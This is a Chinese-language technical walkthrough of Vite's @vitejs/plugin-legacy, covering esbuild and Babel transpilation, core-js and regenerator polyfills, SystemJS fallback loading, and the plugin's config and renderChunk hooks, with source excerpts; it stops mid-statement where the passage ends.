@vitejs/plugin-legacy
Vite 默认浏览器支持
在开发阶段,vite 会借助 esbuild 的能力完成模块编译的任务,将 esnext 作为 esbuild 的 target 规范:
// Remove optimization options for dev as we only need to transpile them,
// and for build as the final optimization is in `buildEsbuildPlugin`
export function esbuildPlugin(config: ResolvedConfig): Plugin {
const filter = createFilter(
include || /\.(m?ts|[jt]sx)$/,
exclude || /\.js$/
);
const transformOptions: TransformOptions = {
target: 'esnext',
charset: 'utf8',
...esbuildTransformOptions,
minify: false,
minifyIdentifiers: false,
minifySyntax: false,
minifyWhitespace: false,
treeShaking: false,
// keepNames is not needed when minify is disabled.
// Also transforming multiple times with keepNames enabled breaks
// tree-shaking. (#9164)
keepNames: false,
supported: {
...defaultEsbuildSupported,
...esbuildTransformOptions.supported
}
};
return {
name: 'vite:esbuild',
async transform(code, id) {
if (filter(id) || filter(cleanUrl(id))) {
const result = await transformWithEsbuild(
code,
id,
transformOptions,
undefined,
config,
server?.watcher
);
}
}
};
}在开发的预构建阶段和生产阶段中,vite 会默认以 Baseline 广泛可用的浏览器为目标平台。
import {
ESBUILD_BASELINE_WIDELY_AVAILABLE_TARGET,
} from '../constants'
async function prepareEsbuildOptimizerRun(
environment: Environment,
depsInfo: Record<string, OptimizedDepInfo>,
processingCacheDir: string,
optimizerContext: { cancelled: boolean }
): Promise<{
context?: BuildContext;
idToExports: Record<string, ExportsData>;
}> {
const context = await esbuild.context({
absWorkingDir: process.cwd(),
entryPoints: Object.keys(flatIdDeps),
bundle: true,
platform,
define,
format: 'esm',
// See https://github.com/evanw/esbuild/issues/1921#issuecomment-1152991694
banner:
platform === 'node'
? {
js: `import { createRequire } from 'module';const require = createRequire(import.meta.url);`
}
: undefined,
target: ESBUILD_BASELINE_WIDELY_AVAILABLE_TARGET,
external,
logLevel: 'error',
splitting: true,
sourcemap: true,
outdir: processingCacheDir,
ignoreAnnotations: true,
metafile: true,
plugins,
charset: 'utf8',
...esbuildOptions,
supported: {
...defaultEsbuildSupported,
...esbuildOptions.supported
}
});
}import {
ESBUILD_BASELINE_WIDELY_AVAILABLE_TARGET
} from './constants';
export const buildEnvironmentOptionsDefaults = Object.freeze({
target: 'baseline-widely-available'
// ...
});
export function resolveBuildEnvironmentOptions(
raw: BuildEnvironmentOptions,
logger: Logger,
consumer: 'client' | 'server' | undefined
): ResolvedBuildEnvironmentOptions {
const merged = mergeWithDefaults(
{
...buildEnvironmentOptionsDefaults,
cssCodeSplit: !raw.lib,
minify: consumer === 'server' ? false : 'esbuild',
ssr: consumer === 'server',
emitAssets: consumer === 'client',
createEnvironment: (name, config) =>
new BuildEnvironment(name, config)
} satisfies BuildEnvironmentOptions,
raw
);
// handle special build targets
if (merged.target === 'baseline-widely-available') {
merged.target = ESBUILD_BASELINE_WIDELY_AVAILABLE_TARGET;
}
}/**
* The browser versions that are included in the Baseline Widely Available on 2025-05-01.
*
* This value would be bumped on each major release of Vite.
*
* The value is generated by `pnpm generate-target` script.
*/
export const ESBUILD_BASELINE_WIDELY_AVAILABLE_TARGET = [
'chrome107',
'edge107',
'firefox104',
'safari16'
];在 Browser Support 也做了相应说明。
可以看出 vite 遵循的是对现代浏览器的支持,不管是开发还是生产环境,都会尽可能的减少语法编译降级的流程,使用原生 esm 的特性。
降级工具
vite 会借助 esbuild 的能力来为模块执行转译工作,因此 build.target 配置项指定的目标环境规范必须满足 esbuild 的 要求。
esbuild 降级转译
esbuild 仅支持将 大多数 较新的 javascript 语法特性转换为 es6(es2015),同时保持 es5(es2009) 代码为 es5 代码,不会进行 升级 处理。这并不意味着 esbuild 无法实现,而是现阶段 es6(2015) 广泛使用在各个浏览器中,因此 evanw 认为实现对 es6(2015) 的降级需求优先级并不高。
当 target 为 es2015 时,esbuild 会 尽量 的做到 语法结构转换 为 es2015 语法。需要注意的是 @babel/preset-env 自身也会做 语法结构转换。但 esbuild 相比于 @babel/preset-env 来说,前者采用的是一种 "保守" 的转换策略,但构建速度快,适合对构建性能要求高、目标环境相对现代的项目。后者则是采取 精确全面 的语法结构转换,适合需要支持更低版本浏览器的项目,在语法结构转译工作上对于浏览器兼容性高于 esbuild。
@babel/preset-env 降级转译
@babel/preset-env 通过复杂的辅助代码来确保语义的正确性,他自身会对语法结构执行降级工作的同时,对于 async/await、generator 复杂语法结构(异步语法)和 es6+ 的新 api 特性分别通过 regenerator-runtime、core-js 库来实现支持。
语法结构转译
babel 在内部通过 babel-compat-data 包维护了语法结构转换和浏览器最低版本之间的 json map 数据。
{
// ...
"transform-optional-chaining": {
"chrome": "91",
"opera": "77",
"edge": "91",
"firefox": "74",
"safari": "13.1",
"node": "16.9",
"deno": "1.9",
"ios": "13.4",
"samsung": "16",
"opera_mobile": "64",
"electron": "13.0"
}
//...
}当消费者指定的浏览器版本(target)低于上述 map 表中的最低浏览器支持版本时,那么 @babel/preset-env 会自动转译语法结构。
例如当 target 为 chrome 90 时,由上述的 optional-chaining 语法特性映射表可知,在 chrome 90 中是不支持的,那么 @babel/preset-env 会自动转译语法结构。
optional-chaining translation example
function getUserCity(user) {
return user?.address?.city;
}function getUserCity(user) {
var _user$address;
return user === null || user === void 0
? void 0
: (_user$address = user.address) === null || _user$address === void 0
? void 0
: _user$address.city;
}ES2015+ API 支持
与前者一样,@babel/preset-env 也会通过 babel-compat-data 包来获取到 es2015+/es6+ 新 api 特性和最低浏览器版本支持的 json map。
{
"es6.array.copy-within": {
"chrome": "45",
"opera": "32",
"edge": "12",
"firefox": "32",
"safari": "9",
"node": "4",
"deno": "1",
"ios": "9",
"samsung": "5",
"rhino": "1.7.13",
"opera_mobile": "32",
"electron": "0.31"
}
// ...
}当消费者指定的浏览器版本(target)低于上述 map 表中的最低浏览器支持版本时,那么 @babel/preset-env 会通过将 core-js 的子包注入到产物中。
例如当 target 为 chrome 44 时,由上述的 array.copyWithin 语法特性映射表可知,在 chrome 44 中是不支持的,那么 @babel/preset-env 会通过将 core-js 的 es.array.copy-within 子包注入到产物中。
array-copy-within translation example
const numbers = [1, 2, 3, 4, 5];
numbers.copyWithin(0, 3);import 'core-js/modules/es.array.copy-within.js';
var numbers = [1, 2, 3, 4, 5];
numbers.copyWithin(0, 3);异步运行时支持
当 @babel/preset-env 处理 async/await、generate 语法时,@babel/preset-env 会先执行语法结构上的转译,中间产物会携带 generator 的辅助函数,若消费者提供的 target 不支持 generate 语法,那么 @babel/preset-env 会通过 regenerator-runtime 来注入 polyfill。
{
// ...
"transform-async-to-generator": {
"chrome": "55",
"opera": "42",
"edge": "15",
"firefox": "52",
"safari": "11",
"node": "7.6",
"deno": "1",
"ios": "11",
"samsung": "6",
"opera_mobile": "42",
"electron": "1.6"
}
// ...
}当消费者指定的浏览器版本(target)低于上述 map 表中的最低浏览器支持版本时,那么 @babel/preset-env 先进行语法结构上的转译。
例如当 target 为 chrome 54 时,由上述的 transform-async-to-generator 语法特性映射表可知,在 chrome 54 中是不支持的,那么 @babel/preset-env 会通过将 regenerator-runtime 的 runtime.js 子包注入到产物中。
async-to-generator translation example
async function asyncHook() {
await 1;
}import 'core-js/modules/es.promise.js';
function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
try {
var info = gen[key](arg);
var value = info.value;
} catch (error) {
reject(error);
return;
}
if (info.done) {
resolve(value);
} else {
Promise.resolve(value).then(_next, _throw);
}
}
function _asyncToGenerator(fn) {
return function () {
var self = this,
args = arguments;
return new Promise(function (resolve, reject) {
var gen = fn.apply(self, args);
function _next(value) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'next',
value
);
}
function _throw(err) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'throw',
err
);
}
_next(undefined);
});
};
}
function asyncHook() {
return _asyncHook.apply(this, arguments);
}
function _asyncHook() {
_asyncHook = _asyncToGenerator(function* () {
yield 1;
});
return _asyncHook.apply(this, arguments);
}从转译后的产物可以看到,当 target 为 chrome 54 时,@babel/preset-env 会转译语法结构,通过 generator 的辅助函数来实现 async/await 语法。
{
// ...
"transform-regenerator": {
"chrome": "50",
"opera": "37",
"edge": "13",
"firefox": "53",
"safari": "10",
"node": "6",
"deno": "1",
"ios": "10",
"samsung": "5",
"opera_mobile": "37",
"electron": "1.1"
}
// ...
}Limitation
可能与 JavaScript statement: function* statement: Not constructable with new (ES2016) 特性的支持相关。
但当 target 为 chrome 49 时,@babel/preset-env 会再一次进行语法结构转译,此时就会通过 regenerator-runtime 来注入 polyfill,实现更彻底的降级。
async function asyncHook() {
await 1;
}import 'regenerator-runtime/runtime.js';
import 'core-js/modules/es.promise.js';
function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
try {
var info = gen[key](arg);
var value = info.value;
} catch (error) {
reject(error);
return;
}
if (info.done) {
resolve(value);
} else {
Promise.resolve(value).then(_next, _throw);
}
}
function _asyncToGenerator(fn) {
return function () {
var self = this,
args = arguments;
return new Promise(function (resolve, reject) {
var gen = fn.apply(self, args);
function _next(value) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'next',
value
);
}
function _throw(err) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'throw',
err
);
}
_next(undefined);
});
};
}
function asyncHook() {
return _asyncHook.apply(this, arguments);
}
function _asyncHook() {
_asyncHook = _asyncToGenerator(
/*#__PURE__*/ regeneratorRuntime.mark(function _callee() {
return regeneratorRuntime.wrap(function _callee$(_context) {
while (1)
switch ((_context.prev = _context.next)) {
case 0:
_context.next = 2;
return 1;
case 2:
case 'end':
return _context.stop();
}
}, _callee);
})
);
return _asyncHook.apply(this, arguments);
}降级工具总结
esbuildesbuild采用了一种相对保守的转换策略。它主要将 大部分 的javascript语法特性降级到es2015(es6),而不会进一步降级到es2009(es5)。这个决策基于两个考虑:
es2015(es6)在各浏览器上已经得到广泛支持,支持降级到es2009(es5)需求优先级低。- 考虑转译的性能优先。
- 保持代码简洁,利于可读性和可调试性。
正因如此,
esbuild能够实现极快的构建速度,特别适合那些对构建性能要求较高,且目标环境相对现代的项目。@babel/preset-env@babel/preset-env提供了一个更全面且精确的转换方案,它的转换过程可以分为三个主要部分:语法结构转换: 通过维护详细的浏览器版本映射表,根据目标环境自动决定是否需要转换特定语法结构。
ES2015+ API 支持: 同样基于浏览器版本映射表,但处理方式是通过注入
core-js的相关子模块来提供polyfill。异步语法支持: 对于
async/await、generate这样的异步特性,采用了两层转换策略:- 首先同第二步骤转换语法结构,如果转换后的语法结构目标环境还不完全支持,则会引入
regenerator-runtime来提供运行时支持。 - 其次,如果目标环境支持转译后的语法结构,则无需引入
regenerator-runtime。
- 首先同第二步骤转换语法结构,如果转换后的语法结构目标环境还不完全支持,则会引入
两者对比:
转换策略:
esbuild:采用 "保守" 策略,专注于es2015+以上版本的转换。@babel/preset-env:采用 "精确全面" 策略,可以精确地转换到任何目标版本。
性能表现:
esbuild:以 极快的构建速度 著称。@babel/preset-env:由于需要进行更复杂的转换和分析,构建速度相对较慢,转译后的产物较大。
兼容性支持:
esbuild:适合目标环境相对现代的项目。@babel/preset-env:通过复杂的 polyfill 系统,可以支持更低版本的浏览器。
转换的完整性:
@babel/preset-env会生成完整的辅助函数和私有字段实现,确保功能的完全等价。esbuild可能会采用简化的转换方案,有时候可能无法完全保持原有代码的语义。
使用场景:
esbuild:适合对构建性能要求高、目标环境较新的现代化项目。@babel/preset-env:适合需要支持更广泛浏览器范围的项目,特别是需要兼容较旧版本浏览器的场景。
从工程化的角度来看,选择使用哪个工具应该基于项目的具体需求:如果项目需要支持较旧的浏览器,同时对构建性能要求不是特别严格,推荐使用 @babel/preset-env;如果项目主要面向现代浏览器,同时对构建性能有较高要求,那么 esbuild 会是更好的选择。若项目需要同时支持较旧的浏览器和现代浏览器,同时还对转译的性能有一定要求,那么可以考虑两者结合使用,发挥各自的优势。
esbuild 的 target 在一定程度上并不可靠。即使配置 target 为 es2015,esbuild 可能会让一些更新版本的语法特性直接通过或非完全转换。
vite 是为应用而服务的开发工具,必须要考虑浏览器兼容性问题,同时也对转译速度有一定要求,因此 vite 会结合上述两者的优势,在构建阶段通过 esbuild 来完成语法上的转译,消费者需要严格的浏览器限制则可以通过 @babel/preset-env 来完成语法特性的降级。
降级机制
legacy browsers 可以通过插件 @vitejs/plugin-legacy 来支持,它将自动生成 legacy chunks 及与其相对应 ECMAScript 语言特性方面的 polyfill。同时 legacy chunks 只会在不支持原生 esm 的浏览器中进行按需加载。
Balancing Between Optimization And Browser Compatibility
通常情况下,越现代的 javascript 目标环境需要的转译代码就越少,因为更多的现代特性可以直接使用而无需转换。在确定项目的目标环境时,如果可能的话,选择更现代的目标版本不仅可以减少构建后的代码体积,还能保持代码的可读性和维护性。当然,这需要权衡目标用户的浏览器支持情况。
语法替代
实现产物的降级操作,那么主要的降级考虑点有如下几个方面:
esm loader的降级esm可以使用systemjs来做降级替换,systemjs是esm loader,会模拟浏览器type=module标签的script脚本的加载行为,速度接近浏览器的原生esm loader,支持TLA、dynamic import、circular references、live bindings、import.meta.url、module types、import-map、完整性和csp,是一个较为完整的esm loader,兼容到较旧版本浏览器(ie11)。那么我们就可以将下面的支持
esm的高版本浏览器html<script crossorigin type="module" src="/assets/index-legacy-sCTV4F-O.js" ></script>通过以下方式来进行降级到不支持
esm的浏览器html<script nomodule crossorigin id="vite-legacy-entry" data-src="/assets/index-legacy-sCTV4F-O.js" > System.import( document.getElementById('vite-legacy-entry').getAttribute('data-src') ); </script>其中
nomodule的脚本标记意味着不支持esm浏览器会执行的脚本,但在safari 11及以下的版本特例,下面会详细说明。ECMAScript 2015+语法降级@babel/preset-env会负责es6+的降级任务,自身会转译 语法特性。js// input const arrow = () => {}; // transformed var arrow = function arrow() {};js// input const { x, y } = point; // transformed var _point = point, x = _point.x, y = _point.y;js// input const message = `Hello ${name}`; // transformed var message = 'Hello '.concat(name);js// input const value = obj?.prop?.field; // transformed var value = (_obj = obj) === null || _obj === void 0 ? void 0 : (_obj$prop = _obj.prop) === null || _obj$prop === void 0 ? void 0 : _obj$prop.field;当遇到
es6+的新api会通过core-js来注入polyfill。js// input const numbers = [1, 2, 3]; numbers.includes(2); // transformed import 'core-js/modules/es.array.includes.js'; var numbers = [1, 2, 3]; numbers.includes(2);js// input const set = new Set([1, 2, 3]); // transformed import 'core-js/modules/es.array.iterator.js'; import 'core-js/modules/es.object.to-string.js'; import 'core-js/modules/es.set.js'; import 'core-js/modules/es.string.iterator.js'; import 'core-js/modules/web.dom-collections.iterator.js'; var set = new Set([1, 2, 3]);js// input const arr = Array.from({}); // transformed import 'core-js/modules/es.array.from.js'; import 'core-js/modules/es.string.iterator.js'; var arr = Array.from({});js// input const obj = { a: 1, b: 2 }; Object.entries(obj); Object.values(obj); // transformed import 'core-js/modules/es.object.entries.js'; import 'core-js/modules/es.object.values.js'; var obj = { a: 1, b: 2 }; Object.entries(obj); Object.values(obj);当遇到
es6+的迭代器或async/await特性会通过regenerator-runtime来注入polyfill。js// input function* generate() {} // transformed import 'regenerator-runtime/runtime.js'; var _marked = /*#__PURE__*/ regeneratorRuntime.mark(generate); function generate() { return regeneratorRuntime.wrap(function generate$(_context) { while (1) { switch ((_context.prev = _context.next)) { case 0: case 'end': return _context.stop(); } } }, _marked); }js// input async function asyncFunction() { await 1; } // transformed import 'regenerator-runtime/runtime.js'; import 'core-js/modules/es.object.to-string.js'; import 'core-js/modules/es.promise.js'; function asyncGeneratorStep( gen, resolve, reject, _next, _throw, key, arg ) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { Promise.resolve(value).then(_next, _throw); } } function _asyncToGenerator(fn) { return function () { var self = this, args = arguments; return new Promise(function (resolve, reject) { var gen = fn.apply(self, args); function _next(value) { asyncGeneratorStep( gen, resolve, reject, _next, _throw, 'next', value ); } function _throw(err) { asyncGeneratorStep( gen, resolve, reject, _next, _throw, 'throw', err ); } _next(undefined); }); }; } function asyncFunction() { return _asyncFunction.apply(this, arguments); } function _asyncFunction() { _asyncFunction = _asyncToGenerator( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() { return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch ((_context.prev = _context.next)) { case 0: _context.next = 2; return 1; case 2: case 'end': return _context.stop(); } } }, _callee); }) ); return _asyncFunction.apply(this, arguments); }通过
@babel/preset-env的能力,可以较为完整的将es6+语法降级为es5。
插件工作机制
@vitejs/plugin-legacy 插件会在 renderChunk 阶段为每一个 chunk 生成 legacy chunk。其中会借助 @babel/preset-env 的能力来分析 chunk,发现非 语法特性 的语法会通过 core-js 或 regenerator-runtime 来注入 polyfill。
const numbers = [1, 2, 3];
Promise.resolve(1);
function* generate() {}
console.log(numbers.includes(2));import 'regenerator-runtime/runtime.js';
var _marked = /*#__PURE__*/ regeneratorRuntime.mark(generate);
import 'core-js/modules/es.object.to-string.js';
import 'core-js/modules/es.promise.js';
import 'core-js/modules/es.array.includes.js';
var numbers = [1, 2, 3];
Promise.resolve(1);
function generate() {
return regeneratorRuntime.wrap(function generate$(_context) {
while (1) {
switch ((_context.prev = _context.next)) {
case 0:
case 'end':
return _context.stop();
}
}
}, _marked);
}
console.log(numbers.includes(2));polyfill 会以 import 的形式按需注入 core-js 的子模块和 regenerator-runtime 模块。当然此时此刻可以直接通过构建工具从 chunk graph 的入口处打包 chunks 依赖图,通过配置也可以将这些按需注入的 polyfill 依赖包打包成一个 polyfill bundle。这会带来一些复杂度,@vitejs/plugin-legacy 插件采用了更为简单的实现方式。
@babel/preset-env 预设在转译 es6+ 的代码结构的同时会按需导出 core-js 的 polyfill 子模块和 regenerator-runtime 的 polyfill 模块。那么可以通过编写 babel 插件,在 @babel/preset-env 预设执行完成后分析转译后的 chunk,收集 polyfill 依赖。收集完成后就可以将导入的 polyfill 语句删除,后续将收集到的 polyfill 模块打包成 polyfill bundle。
也就是说 polyfill bundle 会包含 systemjs runtime 以及源码中实际使用的 core js polyfills。
在 renderChunk 阶段也会分析每一个 chunk 中包含的 import.meta.env.LEGACY 字段,将其转译成 boolean 值,用来标记当前脚本的执行环境为 legacy 环境。
最后一步就是将 polyfill bundle 和 legacy bundle 注入到 html 中。考虑部分浏览器可能不支持 type=module 的 script 标签,因此使用 <script nomodule> 标签,目的是为了可选择性的加载 polyfills 和仅在目标的 legacy 浏览器中执行 legacy bundle。
实现方式
@vitejs/plugin-legacy 插件内置了三个插件,分别是 legacyConfigPlugin、legacyGenerateBundlePlugin、legacyPostPlugin。
// @vitejs/plugin-legacy
function viteLegacyPlugin(options = {}) {
const legacyConfigPlugin = {
// ...
};
const legacyGenerateBundlePlugin = {
// ...
};
const legacyPostPlugin = {
// ...
};
return [legacyConfigPlugin, legacyGenerateBundlePlugin, legacyPostPlugin];
}
export { cspHashes, viteLegacyPlugin as default, detectPolyfills };那么逐一分析下每个插件具体做了什么。
legacyConfigPlugin
插件会在 config、configResolved 阶段进行处理。
const genLegacy = options.renderLegacyChunks !== false
// browsers supporting ESM + dynamic import + import.meta + async generator
const modernTargetsEsbuild = [
'es2020',
'edge79',
'firefox67',
'chrome64',
'safari12',
]
const legacyConfigPlugin: Plugin = {
name: 'vite:legacy-config',
async config(config, env) {
if (env.command === 'build' && !config.build?.ssr) {
if (!config.build) {
config.build = {};
}
if (!config.build.cssTarget) {
// Hint for esbuild that we are targeting legacy browsers when minifying CSS.
// Full CSS compat table available at https://github.com/evanw/esbuild/blob/78e04680228cf989bdd7d471e02bbc2c8d345dc9/internal/compat/css_table.go
// But note that only the `HexRGBA` feature affects the minify outcome.
// HSL & rebeccapurple values will be minified away regardless the target.
// So targeting `chrome61` suffices to fix the compatibility issue.
config.build.cssTarget = 'chrome61';
}
if (genLegacy) {
// Vite's default target browsers are **not** the same.
// See https://github.com/vitejs/vite/pull/10052#issuecomment-1242076461
overriddenBuildTarget = config.build.target !== undefined;
overriddenDefaultModernTargets =
options.modernTargets !== undefined;
if (options.modernTargets) {
// Package is ESM only
const { default: browserslistToEsbuild } = await import(
'browserslist-to-esbuild'
);
config.build.target = browserslistToEsbuild(
options.modernTargets
);
} else {
config.build.target = modernTargetsEsbuild;
}
}
}
return {
define: {
'import.meta.env.LEGACY':
env.command === 'serve' || config.build?.ssr
? false
: legacyEnvVarMarker
}
};
},
configResolved(config) {
if (overriddenBuildTarget) {
config.logger.warn(
colors.yellow(
`plugin-legacy overrode 'build.target'. You should pass 'targets' as an option to this plugin with the list of legacy browsers to support instead.`
)
);
}
if (overriddenDefaultModernTargets) {
config.logger.warn(
colors.yellow(
`plugin-legacy 'modernTargets' option overrode the builtin targets of modern chunks. Some versions of browsers between legacy and modern may not be supported.`
)
);
}
}
};这个插件的实现逻辑比较简单,主要做了以下三件事:
设置
css的兼容性版本默认为chrome61。当要兼容的场景是安卓微信中的
webview时,它支持大多数现代的javascript特性,但并不支持 CSS 中的#RGBA十六进制颜色符号。在上述情况下,需要在构建阶段将
build.cssTarget设置为chrome61(因为chrome 61以下的版本不支持#RGBA),避免esbuild默认会将rgba()颜色默认以十六进制符号#RGBA的形式输出,文档参考(若用户已配置,那么则不做处理)。以下是
esbuild官方做出的 解释和建议:
简单来说,默认情况下
esbuild的输出将利用所有现代css的特性,因此在使用color: rgba()和css 嵌套语法的情况下会进行语法上的转译和支持。若无法满足用户代理(大多为浏览器)的需求,那么需要为esbuild指定特定的构建目标(vite中可配置build.cssTarget)。兼容环境目标检索
通过
browserslist-to-esbuild包的能力,将在package.json或.browserslistrc中查找项目所需的browserslist配置并将其赋值给config.build.target。import.meta.env.LEGACY标记注入全局注入
import.meta.env.LEGACY常量,值为__VITE_IS_LEGACY__,只有在构建阶段生效,renderChunk阶段会将其替换为已知的布尔值,dev和ssr阶段无效。
legacyPostPlugin
源码结构如下,可以看出在构建的 post 阶段会暴露出五个钩子, renderStart、configResolved、renderChunk、transformIndexHtml、generateBundle。
const legacyPostPlugin = {
name: 'vite:legacy-post-process',
enforce: 'post',
apply: 'build',
renderStart() {
// ...
},
configResolved(_config) {
// ...
},
async renderChunk(raw, chunk, opts) {
// ...
},
transformIndexHtml(html, { chunk }) {
// ...
},
generateBundle(opts, bundle) {
// ...
}
};配置信息收集
在 configResolved 钩子中,不会对 lib、ssr 模式和配置不需要生成 legacy 产物的场景(options.renderLegacyChunks === false)进行处理。
const genLegacy = options.renderLegacyChunks !== false;
if (_config.build.lib) {
throw new Error('@vitejs/plugin-legacy does not support library mode.');
}
config = _config;
modernTargets = options.modernTargets || modernTargetsBabel;
if (isDebug) {
console.log(`[@vitejs/plugin-legacy] modernTargets:`, modernTargets);
}
if (!genLegacy || config.build.ssr) {
return;
}若没有为插件提供 target,那么插件会借助 browserslist 包的能力,获取所需降级的目标浏览器版本。
/**
* 1. 获取根目录下的 package.json 中的配置项。
* config = module[package.json]
* 2. 解析 package.json 中的配置项
* return (
* config[process.env.BROWSERSLIST_ENV] ||
* config[process.env.NODE_ENV] ||
* config["production"] ||
* config.defaults
* )
*/
targets =
options.targets ||
browserslistLoadConfig({ path: config.root }) ||
'last 2 versions and not dead, > 0.3%, Firefox ESR';根据 rollupOptions.output 的配置项,来确定 legacy 产物输出的文件名。
const genModern = options.renderModernChunks !== false;
const { rollupOptions } = config.build;
const { output } = rollupOptions;
if (Array.isArray(output)) {
rollupOptions.output = [
...output.map(createLegacyOutput),
...(genModern ? output : [])
];
} else {
rollupOptions.output = [
createLegacyOutput(output),
...(genModern ? [output || {}] : [])
];
}每一个入口都会生成相对应的 legacy 产物,并且会根据 genModern 的值来决定是否生成 modern 产物(非 legacy 产物)。
const createLegacyOutput = (options: OutputOptions = {}): OutputOptions => {
return {
...options,
format: 'system',
entryFileNames: getLegacyOutputFileName(options.entryFileNames),
chunkFileNames: getLegacyOutputFileName(options.chunkFileNames)
};
};需要注意 legacy 的输出格式为 system,这是一个特殊的产物格式,rollup 会对其进行特殊的处理。同时后续也可以通过判断 legacy chunk 的输出格式来区分 legacy chunk 和 modern chunk。
system format
rollup 支持 system 的输出产物格式,也就是说 rollup 对于 esm 的降级是通过 systemjs 来实现的。转译后的产物会通过 systemjs 做了一层 wrapper,因此 legacy chunk 中会包含 systemjs 的 runtime。
转译前:
console.log(1);转译后:
System.register([], function () {
'use strict';
return {
execute() {
console.log(1);
}
};
});legacy 输出产物的名称规则如下:
const getLegacyOutputFileName = (
fileNames: string | ((chunkInfo: PreRenderedChunk) => string) | undefined,
defaultFileName = '[name]-legacy-[hash].js'
): string | ((chunkInfo: PreRenderedChunk) => string) => {
if (!fileNames) {
return path.posix.join(config.build.assetsDir, defaultFileName);
}
return chunkInfo => {
let fileName =
typeof fileNames === 'function' ? fileNames(chunkInfo) : fileNames;
if (fileName.includes('[name]')) {
// [name]-[hash].[format] -> [name]-legacy-[hash].[format]
fileName = fileName.replace('[name]', '[name]-legacy');
} else if (nonLeadingHashInFileNameRE.test(fileName)) {
// custom[hash].[format] -> [name]-legacy[hash].[format]
// custom-[hash].[format] -> [name]-legacy-[hash].[format]
// custom.[hash].[format] -> [name]-legacy.[hash].[format]
// custom.[hash:10].[format] -> custom-legacy.[hash:10].[format]
fileName = fileName.replace(prefixedHashInFileNameRE, '-legacy$&');
} else {
// entry.js -> entry-legacy.js
// entry.min.js -> entry-legacy.min.js
fileName = fileName.replace(/(.+?)\.(.+)/, '$1-legacy.$2');
}
return fileName;
};
};源码注释中已经给出了详细的注释,这里不再赘述。
legacyPostPlugin 的 configResolved 钩子完整代码如下:
const legacyPostPlugin: Plugin = {
name: 'vite:legacy-post-process',
enforce: 'post',
apply: 'build',
configResolved(_config) {
if (_config.build.lib) {
throw new Error(
'@vitejs/plugin-legacy does not support library mode.'
);
}
config = _config;
modernTargets = options.modernTargets || modernTargetsBabel;
if (isDebug) {
console.log(`[@vitejs/plugin-legacy] modernTargets:`, modernTargets);
}
if (!genLegacy || config.build.ssr) {
return;
}
targets =
options.targets ||
browserslistLoadConfig({ path: config.root }) ||
'last 2 versions and not dead, > 0.3%, Firefox ESR';
if (isDebug) {
console.log(`[@vitejs/plugin-legacy] targets:`, targets);
}
const getLegacyOutputFileName = (
fileNames:
| string
| ((chunkInfo: PreRenderedChunk) => string)
| undefined,
defaultFileName = '[name]-legacy-[hash].js'
): string | ((chunkInfo: PreRenderedChunk) => string) => {
if (!fileNames) {
return path.posix.join(config.build.assetsDir, defaultFileName);
}
return chunkInfo => {
let fileName =
typeof fileNames === 'function'
? fileNames(chunkInfo)
: fileNames;
if (fileName.includes('[name]')) {
// [name]-[hash].[format] -> [name]-legacy-[hash].[format]
fileName = fileName.replace('[name]', '[name]-legacy');
} else if (nonLeadingHashInFileNameRE.test(fileName)) {
// custom[hash].[format] -> [name]-legacy[hash].[format]
// custom-[hash].[format] -> [name]-legacy-[hash].[format]
// custom.[hash].[format] -> [name]-legacy.[hash].[format]
// custom.[hash:10].[format] -> custom-legacy.[hash:10].[format]
fileName = fileName.replace(
prefixedHashInFileNameRE,
'-legacy$&'
);
} else {
// entry.js -> entry-legacy.js
// entry.min.js -> entry-legacy.min.js
fileName = fileName.replace(/(.+?)\.(.+)/, '$1-legacy.$2');
}
return fileName;
};
};
const createLegacyOutput = (
options: OutputOptions = {}
): OutputOptions => {
return {
...options,
format: 'system',
entryFileNames: getLegacyOutputFileName(options.entryFileNames),
chunkFileNames: getLegacyOutputFileName(options.chunkFileNames)
};
};
const { rollupOptions } = config.build;
const { output } = rollupOptions;
if (Array.isArray(output)) {
rollupOptions.output = [
...output.map(createLegacyOutput),
...(genModern ? output : [])
];
} else {
rollupOptions.output = [
createLegacyOutput(output),
...(genModern ? [output || {}] : [])
];
}
}
};RenderChunk 钩子
renderChunk 钩子中并不会对 ssr 模式进行处理。
const legacyPostPlugin: Plugin = {
name: 'vite:legacy-post-process',
enforce: 'post',
apply: 'build',
async renderChunk(raw, chunk, opts, { chunks }) {
if (config.build.ssr) {
return null;
}
}
};初始化 polyfills 存储对象。
// On first run, intialize the map with sorted chunk file names
let chunkFileNameToPolyfills = outputToChunkFileNameToPolyfills.get(opts);
if (chunkFileNameToPolyfills == null) {
chunkFileNameToPolyfills = new Map();
for (const fileName in chunks) {
chunkFileNameToPolyfills.set(fileName, {
modern: new Set(),
legacy: new Set()
});
}
outputToChunkFileNameToPolyfills.set(opts, chunkFileNameToPolyfills);
}
const polyfillsDiscovered = chunkFileNameToPolyfills.get(chunk.fileName);
if (polyfillsDiscovered == null) {
throw new Error(
`Internal @vitejs/plugin-legacy error: discovered polyfills for ${chunk.fileName} should exist`
);
}接下来在 renderChunk 中主要分为两个部分的处理,分别是对于 legacy chunk 和 modern chunk 的处理。那么区分 legacy chunk 和 modern chunk 的依据就是根据上述 configResolved 钩子中的配置项。
function isLegacyChunk(
chunk: RenderedChunk,
options: NormalizedOutputOptions
) {
return options.format === 'system' && chunk.fileName.includes('-legacy');
}可以看到判断 chunk 是否为 legacy chunk 的依据为 chunk 的输出格式是否为 system 且 chunk 的文件名是否包含 -legacy。
处理 legacy 模块
如果配置项不需要生成 legacy 产物,则跳过这一步执行。
const genLegacy = options.renderLegacyChunks !== false;
if (!genLegacy) {
return null;
}其中还会对其他工具做出限制
// @ts-expect-error avoid esbuild transform on legacy chunks since it produces
// legacy-unsafe code - e.g. rewriting object properties into shorthands
opts.__vite_skip_esbuild__ = true;
// @ts-expect-error force terser for legacy chunks. This only takes effect if
// minification isn't disabled, because that leaves out the terser plugin
// entirely.
opts.__vite_force_terser__ = true;
// @ts-expect-error In the `generateBundle` hook,
// we'll delete the assets from the legacy bundle to avoid emitting duplicate assets.
// But that's still a waste of computing resource.
// So we add this flag to avoid emitting the asset in the first place whenever possible.
opts.__vite_skip_asset_emit__ = true;
// avoid emitting assets for legacy bundle
const needPolyfills =
